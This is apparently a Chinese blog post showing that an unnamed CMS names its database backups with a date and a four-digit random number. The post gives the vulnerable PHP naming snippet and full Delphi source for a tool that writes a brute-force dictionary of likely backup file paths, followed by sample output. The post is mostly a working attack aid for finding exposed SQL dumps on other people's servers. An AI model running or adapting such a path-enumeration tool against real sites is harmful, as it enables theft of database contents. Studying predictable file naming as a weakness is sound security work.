关于国内某CMS系统备份文件命名规则产生的爆破字典挫码

11 篇文章 0 订阅
7 篇文章 0 订阅

其实也就想写出来。所以命名没有注意。,但是懒得改。很乱,将就着吧- -。表示其实你们可以边看边骂,我无所谓。

由于某CMS备份数据库的时候命名太过于挫。因此产生的备份文件可以通过穷举路径把它找出来。其实代码我都看不下去了。太特么乱了。但是博客好久没写了,哥其实是黔驴技穷了才拿它顶事。

首先先看下那个破CMS的备份代码把。

	public function insertsql(){
//...省略一堆无关代码...
		$random = mt_rand(1000, 9999);
//...省略一堆无关代码...
			$filename = $file.date('Ymd').'_'.$random.'_'.$p.'.sql';
//...省略一堆无关代码...
    }

看出问题了吗 - -。里面的变量$p是备份文件序号,而每次备份至少有一个文件。所以$p 等于1的情况是绝对每次都有的。所以要穷举出某天的备份 最多只要9999-1000次。于是产生了如下。

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    edt1: TEdit;
    btn1: TButton;
    edt4: TEdit;
    edt5: TEdit;
    edt6: TEdit;
    edt7: TEdit;
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

const
  arrMonth : array[0..11] of integer=(31,29,31,30,31,30,31,31,30,31,30,31);

implementation

{$R *.dfm}

function addEx(i:Integer):string;
begin
  if i<10 then Result := '0'+inttostr(i)
  else Result := inttostr(i);
end;

procedure TForm1.btn1Click(Sender: TObject);
var
  fDateFile: TextFile;
  i,j,x,iStart,iEnd,iStart2,iEnd2,iStart3,iEnd3: Integer;       //20120705_3269_12.sql
  sExWord,sExWord2,sNewWord: string;
begin
  AssignFile(fDateFile,'c:\data370.dic');
  Rewrite(fDateFile);
//  iStart  := StrToInt(edt2.Text);
//  iEnd    := StrToInt(edt3.Text);
  iStart2 := StrToInt(edt4.Text);
  iEnd2   := StrToInt(edt5.Text);
  iStart3 := StrToInt(edt6.Text);
  iEnd3   := StrToInt(edt7.Text);
  for x:=iStart3 to iEnd3 do
  begin
      sExWord := edt1.Text; //这里是年份。
      sExWord := '/' + sExWord + addEx(x); //不够10的补个0
      iEnd := arrMonth[x-1];
    for i:=1 to iEnd do
    begin
      sExWord2 := sExWord + addEx(i)+'_';
      for j:=iStart2 to iEnd2 do
      begin
        sNewWord := sExWord2 + IntToStr(j)+'_1.sql';
        Writeln(fDateFile,sNewWord);
      end;
    end;
  end;
  showmessage('ok');
  CloseFile(fDateFile);
end;

end.

以上生成下面类似的字典

/20110701_1000_1.sql

/20110701_1001_1.sql

/20110701_1002_1.sql

...

/20110701_9999_1.sql

/20110702_1000_1.sql

/20110702_1001_1.sql

/20110702_1002_1.sql

...

/20110702_9999_1.sql


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值